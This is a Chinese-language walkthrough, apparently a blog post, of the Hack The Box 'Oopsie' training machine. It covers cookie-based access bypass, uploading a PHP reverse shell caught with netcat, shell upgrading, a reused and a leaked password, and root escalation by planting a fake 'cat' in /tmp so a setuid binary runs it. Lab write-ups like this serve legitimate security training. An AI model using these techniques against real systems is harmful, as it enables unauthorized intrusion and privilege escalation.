Hack the box Oopsie

1.靶机IP 10.10.10.28,常规nmap -sC -sV 10.10.10.28扫端口,扫出22和80端口
2.打开浏览器,访问80端口,页面上没有啥,查看源码,找到/cdn-cgi/login,找到后台登录入口
3.登录,用户名 admin 密码没啥特别提示,尝试上一台靶机的密码,果然一样
4.后台四个模块,account模块管理账户信息,uploads上传文件
看见uploads,就知道找到了shell上传点,点开需要super_admin权限,通过抓包发现,其实是通过cookie里面的userid控制用户的
同样的抓包acconts,发现他并没有验证cookie中的userid,只需更改id参数,就可以读到userid,因此可以通过burpsuite爆破所需的super_admin的userid
果然,id=30时抓到userid变为86575,更改uploads里的userid,发现出现上传窗口
5.上传shell
kali里面的webshell都在 /usr/share/webshells/目录下
选取里面的php-reverse-shell.php用于反弹shell
nc -lvvp 1234接受反弹来的shell
6.找上传路径,dirsearch直接扫就可以,扫出/uploads路径
7.访问shell,得到非交互shell,升级成交互shell,六步里除了第二第三步都是在远程的靶机中执行的

SHELL=/bin/bash script -q /dev/null			//后台新开一个shell -q标识静默开启,输出到/dev/null
Ctrl-Z						//netcat挂到后台
stty raw -echo					//stty命令 修改终端命令行的相关设置 -echo不回显 raw是linux的一种设备。
                                                                                                 //可以理解为缓冲区,将本地终端置于原始模式,以免干扰远程终端
fg						//netcat切回前台继续运行
reset						//重置远程shell
xterm					                //开启xterm,是一个虚拟终端工具,用来提供多个独立的SHELL输入输出

8.翻翻翻,发现数据库连接文件,发现robert用户的用户名,密码robert M3g4C0rpUs3r!切换用户,拿到user的flag
9.提权,常用思路是看robert用户有无特权指令可以用,id robert,发现属于bugtracker组
find / -type f -group bugtracker 2>/dev/null //查看属于bugtracker组的文件
ls -al /usr/bin/bugtracker //查看可执行文件权限,有setuid权限,setuid是指赋予一个进程他所有者的权限,任意存取该文件的所有者能使用的全部系统资源,
//就是说你只要有权执行这个可执行文件,而这个文件里调用了只有root系统命令,那么执行的时候这个进程就相当于root
10.string命令标识在对象文件或二进制文件中查找可打印的字符串
strings /usr/bin/bugtracker //查看他执行了哪些命令
查看到了使用了cat root目录下的文件,那么我们就要进这个目录,这条命令只有root权限的人才能调用,所以重写这条命令,就能得到root权限
只需改写cat
export PATH=/tmp:$PATH //将/tmp目录设置为环境变量
cd /tmp/ //切换到/tmp目录下
echo ‘/bin/sh’ > cat //在此构造恶意的cat命令
chmod +x cat
由于设置了优先级,会默认会执行我们创建的cat命令
运行bugtracker,当运行到我们的cat指令时,会暂时获得root权限,得到一个root权限的shell
拿到root flag
参考过程链接:https://www.bilibili.com/video/BV18v411H7z4/

上一篇:windbg独立安装包下载


下一篇:OLLVM排坑优化篇